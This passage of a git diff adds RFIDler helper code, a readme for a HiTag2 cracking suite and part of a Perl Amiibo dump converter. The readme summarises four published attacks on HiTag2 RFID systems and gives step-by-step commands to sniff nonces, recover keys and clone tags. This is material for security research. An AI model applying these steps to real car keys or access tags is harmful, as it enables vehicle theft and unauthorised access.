***************************************************************************/ + +// Author: Adam Laurie + +/* + * Hitag Crypto support macros + * These macros reverse the bit order in a byte, or *within* each byte of a + * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.) + */ +#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \ + + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \ + + (((X) << 5) &64) + (((X) << 7) &128) ) +#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8)) +#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16)) +#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32)) + + +unsigned long hexreversetoulong(BYTE *hex); +unsigned long long hexreversetoulonglong(BYTE *hex); + diff --git a/tools/hitag2crack/crack4/utilpart.c b/tools/hitag2crack/crack4/utilpart.c new file mode 100644 index 000000000..210853ec1 --- /dev/null +++ b/tools/hitag2crack/crack4/utilpart.c @@ -0,0 +1,183 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + +#include +#include +#include "HardwareProfile.h" +#include "util.h" +#include "rfidler.h" +//#include "comms.h" + +// rtc +rtccTime RTC_time; // time structure +rtccDate RTC_date; // date structure + +// convert byte-reversed 8 digit hex to unsigned long +unsigned long hexreversetoulong(BYTE *hex) +{ + unsigned long ret= 0L; + unsigned int x; + BYTE i; + + if(strlen(hex) != 8) + return 0L; + + for(i= 0 ; i < 4 ; ++i) + { + if(sscanf(hex, "%2X", &x) != 1) + return 0L; + ret += ((unsigned long) x) << i * 8; + hex += 2; + } + return ret; +} + +// convert byte-reversed 12 digit hex to unsigned long +unsigned long long hexreversetoulonglong(BYTE *hex) +{ + unsigned long long ret= 0LL; + BYTE tmp[9]; + + // this may seem an odd way to do it, but weird compiler issues were + // breaking direct conversion! + + tmp[8]= '\0'; + memset(tmp + 4, '0', 4); + memcpy(tmp, hex + 8, 4); + ret= hexreversetoulong(tmp); + ret <<= 32; + memcpy(tmp, hex, 8); + ret += hexreversetoulong(tmp); + return ret; +} + + diff --git a/tools/hitag2crack/readme.md b/tools/hitag2crack/readme.md new file mode 100644 index 000000000..afbc5f4c3 --- /dev/null +++ b/tools/hitag2crack/readme.md @@ -0,0 +1,206 @@ +HiTag2 Cracking Suite +--------------------- + +Author: Kevin Sheldrake + +Introduction +------------ + +These tools are implementations of the four attacks detailed in the papers, +Gone In 360 Seconds - Hijacking With HiTag 2 by Roel Verdult, Flavio Garcia +and Josep Balasch, and Lock It And Still Lose It - on the (In)Security of +Automotive Remote Keyless Entry Systems by Flavio Garcia, David Oswald, +Timo Kasper and Pierre Pavlides. The first three attacks come from the first +paper and the fourth attack comes from the second paper. + +Attack 1 +-------- + +Attack 1 is a nonce replay and length extension attack. This is an attack on +a single HiTag2 RFID tag, given a single encrypted nonce and challenge +response value pair (nR, aR) for the tag's UID. The attack runs entirely on +the RFIDler with it acting like a RWD that replays the same encrypted nonce +and challenge response pair for every interaction; this fixes the key stream +that the tag's PRNG outputs to the same stream for every interaction. + +By brute forcing a subset of the encrypted command space, the RFIDler finds a +single valid encrypted command - invalid commands return a known unencrypted +error response so finding a valid one is simply a case of trying different +values until a response other than the error response is received. + +It then bit flips the valid encrypted command to find the other 15 valid +encrypted commands. By knowing the contents of page 0 - it's the UID that +is presented in clear at the start of each interaction - it tries each +encrypyted response in turn, assuming each to be the encrypted version of +'read page 0 non-inverted' and each response to be the encrypted version of +page 0. + +For each attempted command, it calculates the key stream that would have +correctly generated the encrypted command and response: +command ++ response XOR key stream = encrypted command ++ encrypted response +therefore: +key stream = command ++ response XOR encrypted command ++ encrypted response + +It then tests the potentially recovered key stream by creating an encrypted +command that consumes as much of it as possible, re-initialising with the same +encrypyted nonce and challenge response pair (to set the key stream to the +same stream as that which produced the encrypted command response it is +testing), and then sending this extended encrypted command. If the response +is not the error response, then the key stream is valid and the response is +the encryption of the page 0 contents (the UID). + +When one of the valid encrypted commands satisfies this situation, the +recovered key stream must be the output of the PRNG for the given encrypted +nonce and challenge response pair. + +The RFIDler then uses this key stream to encrypt commands and decrypt the +responses, and therefore requests the contents of all 8 pages. Pages 1 and 2 +contain the encryption key. + +Attack 2 +-------- + +Attack 2 is a time/space trade off to recover the key for situations where the +tag has been configured to prevent reading of pages 1 and 2. This attack uses +a pre-computed table of 2^37 PRNG states and resultant PRNG output, sorted on +the PRNG output. The RFIDler is used to recover 2048 bits of key stream using +a modification of attack 1 and this is used to search the table for matching +PRNG output. When the output is found, it is tested for validity (by testing +previous or following PRNG output) and then the PRNG state is rolled back to +the initialisation state, from which the unecrypted nonce and key can be +recovered. + +Attack 3 +-------- + +Attack 3 is a cryptanalytic attack that focuses on the RWD and a bias in the +PRNG output. By capturing 136 encrypted nonce and challenge response pairs, +candidates for the first 34 bits of the key can be identified, and for each +the remaining 14 bits can be brute forced. + +Attack 4 +-------- + +Attack 4 is a fast correlative attack on the key based on a number of captured +encrypted nonce and challenge response pairs (up to 32, but 16 usually +sufficient). It starts by guessing the first 16 bits of the key and scores +all these guesses against how likely they are to be the correct key, given the +encrypted nonces and the keystream they should produce. Each guess is then +expanded by 1 bit and the process iterates, with only the best guesses taken +forward to the next iteration. + +Usage details +------------- + +Attack 1 requires a valid tag and a valid encrypted nonce and challenge +response pair. The attacker needs to obtain a valid tag and then use this to +obtain a valid encrypted nonce and challenge response pair. This can be +acheived by using the RFIDler 'SNIFF-PWM S' command (having previously cleared +the nonce storage with 'SNIFF-PWM C'), placing the coil on the RWD and +presenting the valid tag. The encrypted nonce and challenge response pairs +can then be read out with the 'SNIFF-PWM L' command. These values can then +be used to attack the tag with 'HITAG2-CRACK '. + +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: SNIFF-PWM S +Capture encrypted nonce and challenge response pair (nR, aR). +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L +RFIDler: HITAG2-CRACK + +Attack 2 requires the same resources as attack 1, plus a pre-computed table. +The table can be generated on a disk with >1.5TB of storage, although it takes +some time (allow a couple of days). +./ht2crack2buildtable +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: SNIFF-PWM S +Capture encrypted nonce and challenge response pair (nR, aR). +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L +RFIDler: UID +RFIDler: HITAG2-KEYSTREAM +Copy/paste the key stream to a file. +./ht2crack2search + +Attack 3 requires only interaction with the RWD and does not require a valid +tag, although it does require a HiTag2 tag that the RWD will initially respond +to; e.g. you could potentially use any HiTag2 tag as long as the RWD starts +the crypto handshake with it. It requires >=136 encrypted nonce and challenge +response pairs for the same tag UID. + +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: SNIFF-PWM S +Capture >=136 encrypted nonce and challenge response pairs (nR, aR). +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L +RFIDler: UID +Copy/paste the encrypted nonce and challenge response pairs into a file. +./ht2crack3 + +Attack 4 requires the same information as attack 3, but only 16-32 encrypted +nonce and challenge response pairs are required. +./ht2crack4 -u -n [-N ] + [-t ] + +Start with -N 16 and -t 500000. If the attack fails to find the key, double +the table size and try again, repeating if it still fails. + +Once the key has been recovered using one of these attacks, the RFIDler can +be configured to operate as a RWD and will capture tags using that key. +RFIDler: SET TAG HITAG2 +RFIDler: HITAG2-READER + +Both the SNIFF-PWM and HITAG2-READER commands can be used as AUTORUN commands +for when the RFIDler is powered from a USB power supply without interaction. + +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: AUTORUN SNIFF-PWM S +RFIDler: SAVE +Capture encrypted nonce and challenge response pairs. +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L + + +RFIDler: SET TAG HITAG2 +RFIDler: HITAG2-CLEARSTOREDTAGS +RFIDler: AUTORUN HITAG2-READER S +RFIDler: SAVE +Capture tags. +RFIDler: HITAG2-COUNTSTOREDTAGS +RFIDler: HITAG2-LISTSTOREDTAGS [START] [END] + + +Tags can be copied with standard RFIDler commands. + +RFIDler: SET TAG HITAG2 +RFIDler: COPY +RFIDler: VTAG +Replace original tag with a blank tag. +RFIDler: CLONE + +OR: + +RFIDler: SET TAG HITAG2 +RFIDler: SET VTAG HITAG2 +RFIDler: VWRITE 0 +RFIDler: VWRITE 1 +... +RFIDler: VWRITE 7 +RFIDler: VTAG +Place blank tag on coil. +RFIDler: CLONE + +OR: + +RFIDler: SET TAG HITAG2 +RFIDler: SET VTAG HITAG2 +RFIDler: VWRITE 0 +RFIDler: VTAG +Place blank tag on coil. +RFIDler: CLONE + + diff --git a/tools/pm3_amii_bin2eml.pl b/tools/pm3_amii_bin2eml.pl new file mode 100755 index 000000000..bb16960d4 --- /dev/null +++ b/tools/pm3_amii_bin2eml.pl @@ -0,0 +1,681 @@ +#!/usr/bin/perl +# +# Read Amiibo data, decrypt, and produce EML file +# Convert proxmark MFU (MIFARE Ultralight) .bin to .eml format +# for proxmark3 loading and simulation +# +# -samy kamkar 05/28/2017 +# +# hf mf eload u FILENAME_MINUS_EML +# hf 14a sim t 7 u UID + +# perl -lne 'chomp; s/\s+(\S+)$//;$f=$1;if($f=~s/-(\S+)//){$g=hex($1);}else{$g=hex($f)}$f=hex($f); for$m($f..$g){print "0x" . substr(unpack("H4",pack("n",$m)),1) ." => \"$_\","}' /tmp/game >> game2 +# perl -lne 'if(/^(\S.*?)\s+\w?\w\w\w\w(\s*-\s*\w?\w\w\w\w)?\s*$/){$l=$1} s/(\w{4,5}\s*-\s*)?(\w{4,5})$//; $a=$1;$b=$2; $b=hex($b); $a=$a?hex($a):$b; for$m($a..$b){print "0x" . substr(unpack("H4",pack("n",$m)),0) ." => \"$l\","}' /tmp/g2 + +my $BLOCKS = 255; +my $UIDLOC = -540; # UID is 540 bytes from the end +my $BLOCKSIZE = 4; # in bytes +my $AMIITOOL = '../client/amiitool/amiitool'; # path to amiitool (unless in $PATH) +my $KEYFILE = '../client/amiitool/key_retail.bin'; # path to retail key file +my $ADDHDR = 1; # add 48 byte header? +my $DECRYPT = 0; # auto-decrypt + +my %game = ( +0x000 => "Mario", +0x001 => "Mario", +0x008 => "Yoshi's Woolly World", +0x010 => "The Legend of Zelda", +0x014 => "Breath of the Wild", +0x018 => "Animal Crossing", +0x019 => "Animal Crossing", +0x01a => "Animal Crossing", +0x01b => "Animal Crossing", +0x01c => "Animal Crossing", +0x01d => "Animal Crossing", +0x01e => "Animal Crossing", +0x01f => "Animal Crossing", +0x020 => "Animal Crossing", +0x021 => "Animal Crossing", +0x022 => "Animal Crossing", +0x023 => "Animal Crossing", +0x024 => "Animal Crossing", +0x025 => "Animal Crossing", +0x026 => "Animal Crossing", +0x027 => "Animal Crossing", +0x028 => "Animal Crossing", +0x029 => "Animal Crossing", +0x02a => "Animal Crossing", +0x02b => "Animal Crossing", +0x02c => "Animal Crossing", +0x02d => "Animal Crossing", +0x02e => "Animal Crossing", +0x02f => "Animal Crossing", +0x030 => "Animal Crossing", +0x031 => "Animal Crossing", +0x032 => "Animal Crossing", +0x033 => "Animal Crossing", +0x034 => "Animal Crossing", +0x035 => "Animal Crossing", +0x036 => "Animal Crossing", +0x037 => "Animal Crossing", +0x038 => "Animal Crossing", +0x039 => "Animal Crossing", +0x03a => "Animal Crossing", +0x03b => "Animal Crossing", +0x03c => "Animal Crossing", +0x03d => "Animal Crossing", +0x03e => "Animal Crossing", +0x03f => "Animal Crossing", +0x040 => "Animal Crossing", +0x041 => "Animal Crossing", +0x042 => "Animal Crossing", +0x043 => "Animal Crossing", +0x044 => "Animal Crossing", +0x045 => "Animal Crossing", +0x046 => "Animal Crossing", +0x047 => "Animal Crossing", +0x048 => "Animal Crossing", +0x049 => "Animal Crossing", +0x04a => "Animal Crossing", +0x04b => "Animal Crossing", +0x04c => "Animal Crossing", +0x04d => "Animal Crossing", +0x04e => "Animal Crossing", +0x04f => "Animal Crossing", +0x050 => "Animal Crossing", +0x051 => "Animal Crossing", +0x058 => "Star Fox", +0x05c => "Metroid", +0x060 => "F-Zero", +0x064 => "Pikmin", +0x06c => "Punch Out", +0x070 => "Wii Fit", +0x074 => "Kid Icarus", +0x078 => "Classic Nintendo", +0x07c => "Mii", +0x080 => "Splatoon", +0x09c => "Mario Sports Superstars", +0x09d => "Mario Sports Superstars", +0x190 => "Pokemon", +0x191 => "Pokemon", +0x192 => "Pokemon", +0x193 => "Pokemon", +0x194 => "Pokemon", +0x195 => "Pokemon", +0x196 => "Pokemon", +0x197 => "Pokemon", +0x198 => "Pokemon", +0x199 => "Pokemon", +0x19a => "Pokemon", +0x19b => "Pokemon", +0x19c => "Pokemon", +0x19d => "Pokemon", +0x19e => "Pokemon", +0x19f => "Pokemon", +0x1a0 => "Pokemon", +0x1a1 => "Pokemon", +0x1a2 => "Pokemon", +0x1a3 => "Pokemon", +0x1a4 => "Pokemon", +0x1a5 => "Pokemon", +0x1a6 => "Pokemon", +0x1a7 => "Pokemon", +0x1a8 => "Pokemon", +0x1a9 => "Pokemon", +0x1aa => "Pokemon", +0x1ab => "Pokemon", +0x1ac => "Pokemon", +0x1ad => "Pokemon", +0x1ae => "Pokemon", +0x1af => "Pokemon", +0x1b0 => "Pokemon", +0x1b1 => "Pokemon", +0x1b2 => "Pokemon", +0x1b3 => "Pokemon", +0x1b4 => "Pokemon", +0x1b5 => "Pokemon", +0x1b6 => "Pokemon", +0x1b7 => "Pokemon", +0x1b8 => "Pokemon", +0x1b9 => "Pokemon", +0x1ba => "Pokemon", +0x1bb => "Pokemon", +0x1bc => "Pokemon", +0x1bd => "Pokemon", +0x1d0 => "Pokken", +0x1f0 => "Kirby", +0x1f4 => "BoxBoy!", +0x210 => "Fire Emblem", +0x224 => "Xenoblade", +0x228 => "Earthbound", +0x22c => "Chibi Robo", +0x320 => "Sonic", +0x334 => "Pac-man", +0x348 => "Megaman", +0x34c => "Street fighter", +0x350 => "Monster Hunter", +0x35c => "Shovel Knight", +); + +my %type = ( +0x00 => "Figure", +0x01 => "Card", +0x02 => "Yarn", +); + +my %amiibo = ( +0x0000 => "Super Smash Bros.", +0x0001 => "Super Smash Bros.", +0x0002 => "Super Smash Bros.", +0x0003 => "Super Smash Bros.", +0x0004 => "Super Smash Bros.", +0x0005 => "Super Smash Bros.", +0x0006 => "Super Smash Bros.", +0x0007 => "Super Smash Bros.", +0x0008 => "Super Smash Bros.", +0x0009 => "Super Smash Bros.", +0x000a => "Super Smash Bros.", +0x000b => "Super Smash Bros.", +0x000c => "Super Smash Bros.", +0x000d => "Super Smash Bros.", +0x000e => "Super Smash Bros.", +0x000f => "Super Smash Bros.", +0x0010 => "Super Smash Bros.", +0x0011 => "Super Smash Bros.", +0x0012 => "Super Smash Bros.", +0x0013 => "Super Smash Bros.", +0x0014 => "Super Smash Bros.", +0x0015 => "Super Smash Bros.", +0x0016 => "Super Smash Bros.", +0x0017 => "Super Smash Bros.", +0x0018 => "Super Smash Bros.", +0x0019 => "Super Smash Bros.", +0x001a => "Super Smash Bros.", +0x001b => "Super Smash Bros.", +0x001c => "Super Smash Bros.", +0x001d => "Super Smash Bros.", +0x001e => "Super Smash Bros.", +0x001f => "Super Smash Bros.", +0x0020 => "Super Smash Bros.", +0x0021 => "Super Smash Bros.", +0x0022 => "Super Smash Bros.", +0x0023 => "Super Smash Bros.", +0x0024 => "Super Smash Bros.", +0x0025 => "Super Smash Bros.", +0x0026 => "Super Smash Bros.", +0x0027 => "Super Smash Bros.", +0x0028 => "Super Smash Bros.", +0x0029 => "Super Smash Bros.", +0x002a => "Super Smash Bros.", +0x002b => "Super Smash Bros.", +0x002c => "Super Smash Bros.", +0x002d => "Super Smash Bros.", +0x002e => "Super Smash Bros.", +0x002f => "Super Smash Bros.", +0x0030 => "Super Smash Bros.", +0x0031 => "Super Smash Bros.", +0x0032 => "Super Smash Bros.", +0x0033 => "Super Smash Bros.", +0x023d => "Super Smash Bros.", +0x0251 => "Super Smash Bros.", +0x0252 => "Super Smash Bros.", +0x0253 => "Super Smash Bros.", +0x0258 => "Super Smash Bros.", +0x0034 => "Super Mario", +0x0035 => "Super Mario", +0x0036 => "Super Mario", +0x0037 => "Super Mario", +0x0038 => "Super Mario", +0x0039 => "Super Mario", +0x0262 => "Super Mario", +0x0263 => "Super Mario", +0x0028 => "Super Mario", +0x003c => "Super Mario", +0x003d => "Super Mario", +0x003a => "Chibi Robo", +0x003e => "Splatoon", +0x003f => "Splatoon", +0x0040 => "Splatoon", +0x025d => "Splatoon", +0x025e => "Splatoon", +0x025f => "Splatoon", +0x0260 => "Splatoon", +0x0261 => "Splatoon", +0x0044 => "Animal Crossing Cards", +0x0045 => "Animal Crossing Cards", +0x0046 => "Animal Crossing Cards", +0x0047 => "Animal Crossing Cards", +0x0048 => "Animal Crossing Cards", +0x0049 => "Animal Crossing Cards", +0x004a => "Animal Crossing Cards", +0x004b => "Animal Crossing Cards", +0x004c => "Animal Crossing Cards", +0x004d => "Animal Crossing Cards", +0x004e => "Animal Crossing Cards", +0x004f => "Animal Crossing Cards", +0x0050 => "Animal Crossing Cards", +0x0051 => "Animal Crossing Cards", +0x0052 => "Animal Crossing Cards", +0x0053 => "Animal Crossing Cards", +0x0054 => "Animal Crossing Cards", +0x0055 => "Animal Crossing Cards", +0x0056 => "Animal Crossing Cards", +0x0057 => "Animal Crossing Cards", +0x0058 => "Animal Crossing Cards", +0x0059 => "Animal Crossing Cards", +0x005a => "Animal Crossing Cards", +0x005b => "Animal Crossing Cards", +0x005c => "Animal Crossing Cards", +0x005d => "Animal Crossing Cards", +0x005e => "Animal Crossing Cards", +0x005f => "Animal Crossing Cards", +0x0060 => "Animal Crossing Cards", +0x0061 => "Animal Crossing Cards", +0x0062 => "Animal Crossing Cards", +0x0063 => "Animal Crossing Cards", +0x0064 => "Animal Crossing Cards", +0x0065 => "Animal Crossing Cards", +0x0066 => "Animal Crossing Cards", +0x0067 => "Animal Crossing Cards", +0x0068 => "Animal Crossing Cards", +0x0069 => "Animal Crossing Cards", +0x006a => "Animal Crossing Cards", +0x006b => "Animal Crossing Cards", +0x006c => "Animal Crossing Cards", +0x006d => "Animal Crossing Cards", +0x006e => "Animal Crossing Cards", +0x006f => "Animal Crossing Cards", +0x0070 => "Animal Crossing Cards", +0x0071 => "Animal Crossing Cards", +0x0072 => "Animal Crossing Cards", +0x0073 => "Animal Crossing Cards", +0x0074 => "Animal Crossing Cards", +0x0075 => "Animal Crossing Cards", +0x0076 => "Animal Crossing Cards", +0x0077 => "Animal Crossing Cards", +0x0078 => "Animal Crossing Cards", +0x0079 => "Animal Crossing Cards", +0x007a => "Animal Crossing Cards", +0x007b => "Animal Crossing Cards", +0x007c => "Animal Crossing Cards", +0x007d => "Animal Crossing Cards", +0x007e => "Animal Crossing Cards", +0x007f => "Animal Crossing Cards", +0x0080 => "Animal Crossing Cards", +0x0081 => "Animal Crossing Cards", +0x0082 => "Animal Crossing Cards", +0x0083 => "Animal Crossing Cards", +0x0084 => "Animal Crossing Cards", +0x0085 => "Animal Crossing Cards", +0x0086 => "Animal Crossing Cards", +0x0087 => "Animal Crossing Cards", +0x0088 => "Animal Crossing Cards", +0x0089 => "Animal Crossing Cards", +0x008a => "Animal Crossing Cards", +0x008b => "Animal Crossing Cards", +0x008c => "Animal Crossing Cards", +0x008d => "Animal Crossing Cards", +0x008e => "Animal Crossing Cards", +0x008f => "Animal Crossing Cards", +0x0090 => "Animal Crossing Cards", +0x0091 => "Animal Crossing Cards", +0x0092 => "Animal Crossing Cards", +0x0093 => "Animal Crossing Cards", +0x0094 => "Animal Crossing Cards", +0x0095 => "Animal Crossing Cards", +0x0096 => "Animal Crossing Cards", +0x0097 => "Animal Crossing Cards", +0x0098 => "Animal Crossing Cards", +0x0099 => "Animal Crossing Cards", +0x009a => "Animal Crossing Cards", +0x009b => "Animal Crossing Cards", +0x009c => "Animal Crossing Cards", +0x009d => "Animal Crossing Cards", +0x009e => "Animal Crossing Cards", +0x009f => "Animal Crossing Cards", +0x00a0 => "Animal Crossing Cards", +0x00a1 => "Animal Crossing Cards", +0x00a2 => "Animal Crossing Cards", +0x00a3 => "Animal Crossing Cards", +0x00a4 => "Animal Crossing Cards", +0x00a5 => "Animal Crossing Cards", +0x00a6 => "Animal Crossing Cards", +0x00a7 => "Animal Crossing Cards", +0x00a8 => "Animal Crossing Cards", +0x00a9 => "Animal Crossing Cards", +0x00aa => "Animal Crossing Cards", +0x00ab => "Animal Crossing Cards", +0x00ac => "Animal Crossing Cards", +0x00ad => "Animal Crossing Cards", +0x00ae => "Animal Crossing Cards", +0x00af => "Animal Crossing Cards", +0x00b0 => "Animal Crossing Cards", +0x00b1 => "Animal Crossing Cards", +0x00b2 => "Animal Crossing Cards", +0x00b3 => "Animal Crossing Cards", +0x00b4 => "Animal Crossing Cards", +0x00b5 => "Animal Crossing Cards", +0x00b6 => "Animal Crossing Cards", +0x00b7 => "Animal Crossing Cards", +0x00b8 => "Animal Crossing Cards", +0x00b9 => "Animal Crossing Cards", +0x00ba => "Animal Crossing Cards", +0x00bb => "Animal Crossing Cards", +0x00bc => "Animal Crossing Cards", +0x00bd => "Animal Crossing Cards", +0x00be => "Animal Crossing Cards", +0x00bf => "Animal Crossing Cards", +0x00c0 => "Animal Crossing Cards", +0x00c1 => "Animal Crossing Cards", +0x00c2 => "Animal Crossing Cards", +0x00c3 => "Animal Crossing Cards", +0x00c4 => "Animal Crossing Cards", +0x00c5 => "Animal Crossing Cards", +0x00c6 => "Animal Crossing Cards", +0x00c7 => "Animal Crossing Cards", +0x00c8 => "Animal Crossing Cards", +0x00c9 => "Animal Crossing Cards", +0x00ca => "Animal Crossing Cards", +0x00cb => "Animal Crossing Cards", +0x00cc => "Animal Crossing Cards", +0x00cd => "Animal Crossing Cards", +0x00ce => "Animal Crossing Cards", +0x00cf => "Animal Crossing Cards", +0x00d0 => "Animal Crossing Cards", +0x00d1 => "Animal Crossing Cards", +0x00d2 => "Animal Crossing Cards", +0x00d3 => "Animal Crossing Cards", +0x00d4 => "Animal Crossing Cards", +0x00d5 => "Animal Crossing Cards", +0x00d6 => "Animal Crossing Cards", +0x00d7 => "Animal Crossing Cards", +0x00d8 => "Animal Crossing Cards", +0x00d9 => "Animal Crossing Cards", +0x00da => "Animal Crossing Cards", +0x00db => "Animal Crossing Cards", +0x00dc => "Animal Crossing Cards", +0x00dd => "Animal Crossing Cards", +0x00de => "Animal Crossing Cards", +0x00df => "Animal Crossing Cards", +0x00e0 => "Animal Crossing Cards", +0x00e1 => "Animal Crossing Cards", +0x00e2 => "Animal Crossing Cards", +0x00e3 => "Animal Crossing Cards", +0x00e4 => "Animal Crossing Cards", +0x00e5 => "Animal Crossing Cards", +0x00e6 => "Animal Crossing Cards", +0x00e7 => "Animal Crossing Cards", +0x00e8 => "Animal Crossing Cards", +0x00e9 => "Animal Crossing Cards", +0x00ea => "Animal Crossing Cards", +0x00eb => "Animal Crossing Cards", +0x00ec => "Animal Crossing Cards", +0x00ed => "Animal Crossing Cards", +0x00ee => "Animal Crossing Cards", +0x00ef => "Animal Crossing Cards", +0x00f0 => "Animal Crossing Cards", +0x00f1 => "Animal Crossing Cards", +0x00f2 => "Animal Crossing Cards", +0x00f3 => "Animal Crossing Cards", +0x00f4 => "Animal Crossing Cards", +0x00f5 => "Animal Crossing Cards", +0x00f6 => "Animal Crossing Cards", +0x00f7 => "Animal Crossing Cards", +0x00f8 => "Animal Crossing Cards", +0x00f9 => "Animal Crossing Cards", +0x00fa => "Animal Crossing Cards", +0x00fb => "Animal Crossing Cards", +0x00fc => "Animal Crossing Cards", +0x00fd => "Animal Crossing Cards", +0x00fe => "Animal Crossing Cards", +0x00ff => "Animal Crossing Cards", +0x0100 => "Animal Crossing Cards", +0x0101 => "Animal Crossing Cards", +0x0102 => "Animal Crossing Cards", +0x0103 => "Animal Crossing Cards", +0x0104 => "Animal Crossing Cards", +0x0105 => "Animal Crossing Cards", +0x0106 => "Animal Crossing Cards", +0x0107 => "Animal Crossing Cards", +0x0108 => "Animal Crossing Cards", +0x0109 => "Animal Crossing Cards", +0x010a => "Animal Crossing Cards", +0x010b => "Animal Crossing Cards", +0x01d4 => "Animal Crossing Cards", +0x01d5 => "Animal Crossing Cards", +0x01d6 => "Animal Crossing Cards", +0x01d7 => "Animal Crossing Cards", +0x01d8 => "Animal Crossing Cards", +0x0041 => "Yoshi's Woolly World", +0x0042 => "Yoshi's Woolly World", +0x0043 => "Yoshi's Woolly World", +0x023e => "Yoshi's Woolly World", +0x035d => "Yoshi's Woolly World", +0x0238 => "8 - Bit Mario", +0x0239 => "8 - Bit Mario", +0x023a => "Skylanders", +0x023b => "Skylanders", +0x023f => "Animal Crossing Figures", +0x0240 => "Animal Crossing Figures", +0x0241 => "Animal Crossing Figures", +0x0242 => "Animal Crossing Figures", +0x0243 => "Animal Crossing Figures", +0x0244 => "Animal Crossing Figures", +0x0245 => "Animal Crossing Figures", +0x0246 => "Animal Crossing Figures", +0x0247 => "Animal Crossing Figures", +0x0248 => "Animal Crossing Figures", +0x0249 => "Animal Crossing 